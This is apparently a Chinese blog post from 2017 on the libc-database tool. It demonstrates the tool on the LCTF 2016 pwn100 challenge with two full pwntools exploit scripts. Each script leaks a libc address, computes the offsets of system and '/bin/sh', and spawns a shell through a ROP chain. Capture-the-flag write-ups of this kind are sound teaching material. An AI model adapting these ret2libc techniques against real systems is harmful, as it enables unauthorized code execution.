libc-database

Author Avatar
Aryb1n 7月 27, 2017

gitHub上的一个工具

原理

介绍里说道这个随机化,通常是最后12bits不变化

使用

gitHub上有,git下来之后,先跑一个get,然后慢慢等

例子

lctf2016 pwn100
一道平常的栈溢出,格式大概是'A' * 0x40 + 'A' * 0x8 + ret
payload基本是从别人wp里改的

from pwn import *

p = process('./pwn100')
# p = remote('127.0.0.1', 2332)
elf = ELF('./pwn100')

puts_got_addr = elf.got['puts']
read_got_addr = elf.got['read']

puts_plt_addr = elf.symbols['puts']
read_plt_addr = elf.symbols['read']

rsp = 0x00601300

# ROPgadget --binary pwn100 --only "pop|ret"
pop_rdi_ret = 0x0000000000400763
pop_rbp_ret = 0x0000000000400595
pop_rsi_r15_ret = 0x0000000000400761
pop_pop_pop_pop_ret_addr = 0x000000000040075d

payload  = ''
# leak glibc_puts
payload += 'A' * 0x40 + 'A' * 0x8 + p64(pop_rdi_ret) + p64(read_got_addr) + p64(puts_plt_addr)
# 
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(rsp) + p64(1) + p64(read_plt_addr)
#
payload += p64(pop_pop_pop_pop_ret_addr) + p64(rsp)
payload  = payload.ljust(0xC8, 'A')

raw_input('go?')
p.send(payload)
p.recvline()
libc_read_addr = u64(p.recvline()[:6].ljust(8, '\x00'))

libc_base_addr = libc_read_addr - 0x00000000000f6670
libc_system_addr = libc_base_addr + 0x0000000000045390
bin_sh_addr = libc_base_addr + 0x18c177

log.info('libc_read_addr:%s' % hex(libc_read_addr))

payload2  = p64(1) * 3
payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(libc_system_addr)
p.sendline(payload2)

p.interactive()

我们先是leak出来了libc_read的地址,比方说我这里是0x7fddbd085670
我使用./find read 670就从database里得到一个id
也可以多个条件~./find printf 260 puts f30,条件多一些会准确.,,
然后./dump id,我就得到了

offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f6d90
offset_read = 0x00000000000f6670
offset_write = 0x00000000000f66d0
offset_str_bin_sh = 0x18c177

照着把这些填进去,就写好了payload

libc_base_addr = libc_read_addr - 0x00000000000f6670
libc_system_addr = libc_base_addr + 0x0000000000045390
bin_sh_addr = libc_base_addr + 0x18c177

教训..有些人这样做出来的pwn,写完的wp…是一般不能直接拷过来跑的,因为你的libc和人家的不一样

这里有一点感觉有点巧….
这里的payload1有

# read(0, 0x00601300, 1)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(rsp) + p64(1) + p64(read_plt_addr)
# rsp <- 0x00601300, 后续pop,pop,pop,ret
payload += p64(pop_pop_pop_pop_ret_addr) + p64(rsp)

先在0x00601300这里铺好了payload2
第一个pop rsp 改变了栈顶到0x00601300, 还剩下三个pop出了3个1,然后….
这个时候栈顶到了

payload2  = p64(1) * 3
payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(libc_system_addr)

然后起来shell

我写的话,大概会是再次返回vuln_function….原作者的写法太奇了….我还是比较菜到怀疑人生

from pwn import *

p = process('./pwn100')

elf = ELF('./pwn100')

puts_got_addr = elf.got['puts']
read_got_addr = elf.got['read']

puts_plt_addr = elf.symbols['puts']
read_plt_addr = elf.symbols['read']

vuln_function = 0x40068E

# ROPgadget --binary pwn100 --only "pop|ret"
pop_rdi_ret = 0x0000000000400763
pop_rbp_ret = 0x0000000000400595
pop_rsi_r15_ret = 0x0000000000400761
pop_pop_pop_pop_ret_addr = 0x000000000040075d


payload  = ''
payload += 'A' * 0x40 + 'A' * 0x8 + p64(pop_rdi_ret) + p64(read_got_addr) + p64(puts_plt_addr)
payload += p64(vuln_function)

payload  = payload.ljust(0xC8, 'A')

raw_input('go?')
p.send(payload)
p.recvline()
libc_read_addr = u64(p.recvline()[:6].ljust(8, '\x00'))

libc_base_addr = libc_read_addr - 0x00000000000f6670
libc_system_addr = libc_base_addr + 0x0000000000045390
bin_sh_addr = libc_base_addr + 0x18c177

log.info('libc_read_addr:%s' % hex(libc_read_addr))

payload  = ''
payload += 'A' * 0x40 + 'A' * 0x8 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(libc_system_addr)
payload  = payload.ljust(0xC8, 'A')

raw_input('go?')
p.send(payload)
p.recvline()

p.interactive()